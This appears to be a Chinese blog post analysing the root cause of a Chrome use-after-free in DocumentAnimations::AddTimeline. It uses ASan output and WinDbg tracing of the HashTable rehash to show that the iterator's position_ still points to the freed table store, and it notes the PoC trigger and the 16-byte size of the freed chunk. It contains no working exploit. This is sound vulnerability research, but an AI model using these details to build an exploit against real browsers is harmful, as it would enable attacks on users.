  0x11f76d249840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x11f76d249850: 00 00 00 00 00 00 00 00 00 00 00 f7 f7 f7 00 00
  0x11f76d249860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==3244==ABORTING

通过以上内容可看出程序访问了“中毒”内存,大小为8字节,由于开启asan的chrome无法用windbg直接去调试,所以可以通过前面编译过没有开启asan的debug版本去进行调试,由于通过asan已经可以知道非法内存访问的函数调用栈及其在源码中被调用位置,直接在windbg上结合源码调试即可找到被释放的内存。
先获取异常时timelines对象指针·
在这里插入图片描述
再通过asan输出信息,直接在SkipEmptyBuckets函数调用处下断
在这里插入图片描述
断下后查看其this指针正好是timelines对象,之后进入SkipEmptyBuckets函数
在这里插入图片描述
SkipEmptyBuckets会去调用HashTableType::IsEmptyOrDeletedBucket函数,在相应位置下断并查看其this指针。

在这里插入图片描述
观察后发现正好是timelines对象中保存的地址
在这里插入图片描述
继续进入HashTableType::IsEmptyOrDeletedBucket函数并一直追踪找到IsEmptyOrDeletedBucketForKey函数调用处
在这里插入图片描述

在这里插入图片描述
再在IsEmptyBucket函数调用处下断
在这里插入图片描述
在这里插入图片描述
进入IsEmptyBucket函数再在IsHashTraitsEmptyValue函数调用处下断
在这里插入图片描述
在这里插入图片描述
继续进入找到HashTraitsEmptyValueChecker函数调用处
在这里插入图片描述
在这里插入图片描述
继续追溯找到运算符重载cppgc::internal::operator==
在这里插入图片描述
在这里插入图片描述
进入后此运算符重载处会对member1与member2两块内存进行比较,直接对member1对象的get函数下断并进入函数内并一直追踪到GetRaw函数调用处
在这里插入图片描述
在这里插入图片描述
GetRaw函数逻辑就比较简单了,直接将rcx也就是前面获取到的地址28bd0064adf0中前八字节也就是MemberBase类成员变量raw_的值返回,而此处由于28bd0064adf0已经被释放于是就会因为引用了被释放的内存而产生异常
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后结合以上对代码的调试再去分析timelines对象结构可知:

  • 红色部分为成员变量position_
  • 蓝色部分为成员变量end_position_
  • 黄色部分为begin_position_(开启DECHECK的前提下)
  • 黑色部分为container_(开启DECHECK的前提下)
  • 绿色部分为container_modifications_(开启DECHECK的前提下)
    在这里插入图片描述
    在这里插入图片描述
    而通过成员变量position_遍历列表时会触发asan Poisoned by user异常,现在还需要找到列表是何时被释放的。
    对DocumentAnimations::AddTimeline函数下断,rcx为DocumentAnimation对象,rdx为要被插入到timelines列表中的AnimationTimeline对象timeline
    在这里插入图片描述
    在这里插入图片描述
    timelines.insert最终会去调用HashTable<Key, Value, Extractor, HashFunctions, Traits, KeyTraits, Allocator>:: insert 函数。
    在插入函数中会先获取HashTable的地址,并求出增量i的值
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    然后代码就会进入一个循环,此循环的作用就是找到HashTable中保存内容为空(0)的内存地址并跳出循环,其余两个if…els…处理较为复杂,且在本漏洞中不会执行到所以跳过不去详细分析。
    在这里插入图片描述
    跳过中间不会执行到的代码,之后将会执行到以下内容,首先将key_count++自加后为2,之后会去调用ShouldExpand函数。
    在这里插入图片描述
    ShouldExpand函数判断逻辑如下,其中key_count(蓝色)为2,deleted_count_(黑色)为0,kMaxLoad为2,table_size_(红色)为2
    在这里插入图片描述
    在这里插入图片描述
    此处需要注意的是,在我调试的过程中开启decheckdebug版本下的table_size_将会为8,在开启了asan的release版本下table_size_为2,当table_size_为8时导致判断条件不成立将会导致代码执行流程发生改变,对漏洞触发产生一定的影响,对于两者产生差异的原因暂时未知
    在这里插入图片描述
    之后当ShouldExpand函数返回true时将会去调用Expand函数,在该函数中会先根据不同的情况为即将要刷新的table指针设置新的table_size_,新的table_size_将会为4
    在这里插入图片描述
    然后执行Rehash函数,其中kIsGarbageCollected并不重要,之后new_table_size在前面的代码中得到为4,old_table_size为2故条件成立,之后便会去执行ExpandBuffer函数
    在这里插入图片描述
    最后在返回到Rehash函数Rehash函数最后会去调用RehashTo函数在该函数中会先创建一个新的hashtable
    在这里插入图片描述
    然后会将新旧table进行交换,最后调用clear函数将旧table清理掉
    在这里插入图片描述
    执行RehashTo前的table
    在这里插入图片描述
    执行RehashTo后的table
    在这里插入图片描述
    最后在插入函数结束时会创建一个AddResult对象并返回
    在这里插入图片描述
    在这里插入图片描述
    其中需要关注的就是stored_value,其值指向刚刚在RehashTo函数中新创建的table,当insert函数执行完后就会去调用AddResult对象的析构函数,通过查看该函数中的注释也能看出一些有关信息
    在这里插入图片描述
    通过代码注释可知,如果在访问storedValue之前进行了重新刷新,那么它就会产生UAF,而在AddTimeline函数执行完后还会去调用UpdateAnimationTiming函数此函数中会通过position_指针去遍历storeValue从而导致UAF,当table已经有了一块新的store区后timelines_的position_依旧指向老的store,而老store已经在RehashTo函数中被调用clear函数清理掉了于是从而导致UAF。
    timelines->position_
    在这里插入图片描述
    table
    在这里插入图片描述
    同时这也是导致在asan中产生Poisoned by user异常的原因。总结一下,通过以上分析可知当在poc中执行new DocumentTimeline({ originTime: 500 });时会触发AddTineline函数,而该函数会通过调用insert函数将新的timeline插入table中,而在插入的过程中需要刷新扩充table store,在刷新扩充
    会调用RehashTo函数,RehashTo函数会创建一个新的table store并将旧的table store清理释放,而在插入操作结束后还会调用UpdateAnimationTiming函数,此函数会通过遍历HeapHashSet的成员变量position_来获取timeline,而position_依旧还指向已经被释放的旧的table store从而导致uaf。

然后还需要知道被释放的table store的实际大小,虽然无法在timelines_创建时下断,但是可以通过table_size与new_table的创建来推断出被释放内存的大小,从AllocateTable函数中可以看出其计算逻辑为size*type_size。在创建new_table时size为4,type_size为8,最终将会申请32(0x20)字节的内存。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
而old_table的table_size为2,所以被释放的内存应该为16字节。
最后整理一下目前可以得到的信息:

  • 被释放的是一块HashTable store内存
  • 内存大小为16字节
  • 在向table插入(AddTimeline)新创建的DocumentTimeline对象时被释放,释放后又在UpdateAnimationTiming函数中被重用。

此漏洞已有在野利用所以理论上来讲通过以上信息是可以写出exploit,但由于知识储备有限目前暂时没有找到合适的可以用于回收被释放内存的方法,故将exploit开发暂且搁置。

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值